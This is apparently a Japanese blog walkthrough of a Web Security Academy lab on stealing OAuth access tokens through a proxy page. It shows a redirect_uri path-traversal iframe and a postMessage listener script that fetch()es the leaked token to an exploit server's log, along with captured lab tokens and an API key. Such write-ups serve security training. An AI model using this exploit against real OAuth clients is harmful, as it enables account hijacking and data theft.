Hello there, ('ω')ノ
プロキシページを介してOAuthアクセストークンを盗むを。
このラボでは、 OAuth サービスを使用して。
ユーザがソーシャルメディアアカウントでログインできるようにして。
OAuthサービスによる検証に欠陥があると。
攻撃者がクライアントの任意のページにアクセストークンを漏らす可能性があって。
まずは、ログインして動作確認から。
上記のページまでの流れは下記のとおりで。
レスポンスから下記へリダイレクトされて。
href="/interaction/Ow9seXyWUx_eGFzvZ0yWG">
リダイレクトされたページで。
Continueをクリックすると。
システムが認証を確認した後にリダイレクトして。
現在のセッションaccess_tokenを。
クライアント側のブラウザのURLフラグメントとして追加しているようで。
access_token=U_WAnYnj4T59iRx8yk7bwND_efGdVCis1r-3fPv_39r
トップページに移動して。
下記を変更してSendするとレスポンスが反応して。
これで、access_tokenを別ページにリダイレクトできることがわかって。
redirect_uri=localhost
各ブログの投稿ページのソースコードを見るとiframeが見つかって。
下記のページをBurpで確認すると。
src="/post/comment/comment-form#postId=6
ソースコードを確認してみると。
postMessage()メソッドで、window.location.hrefが親ウィンドウに送信されていて。
また、Burpに限らずブラウザ上でも確認することはできて。
各ページには、読み込まれたときにwindow.location.hrefで。
投稿メッセージを作成する安全でないWebメッセージングスクリプトが。
window.location.hrefには、URLフラグメントが含まれていて。
重要なのは、投稿メッセージはすべての親リスナーに伝播されて。
parent.postMessage({type: 'onload', data: window.location.href}, '*')
parent.postMessage({type: 'oncomment', content: o}, '*');
このスクリプトをエクスプロイトサーバで、メッセージを表示する参考にして。
window.addEventListener('message', function(e) {
エクスプロイトサーバへ移動して。
iframを作成して、redirect_uriでコメントフォームを指定して。
<iframe src="https://ac941f091e8af02f809694310291002f.web-security-academy.net/auth?client_id=mybdw8qvdjhfzbyxvu11p&redirect_uri=https://ac271fd51e14f03880af942f00650006.web-security-academy.net/oauth-callback/../post/comment/comment-form&response_type=token&nonce=-1552239120&scope=openid%20profile%20email"></iframe>
その下にWebメッセージをリッスンして。
エクスプロイトサーバのアクセスログに。
Webメッセージを表示するスクリプトを追加して。
<script>
window.addEventListener('message', function(e) {
fetch("/" + encodeURIComponent(e.data.data))
}, false)
</script>
Storeして、Viewで確認して。
Deliverして、ログを確認するとaccess_tokenがわかって。
access_token%3DWZi9pb76b28eqkrW4zlHA_vK6-AFAH4kUzchdoTBXhH
下記のリクエストをリピータへ。
認証のトークンを置き換えてSendするとAPIが正常に呼び出されて。
apikey":"JN8CbAquVomdKWSCJ9kPvME3vCESI8Ku
APIキーを入力して。
クリアできた。
Best regards, (^^ゞ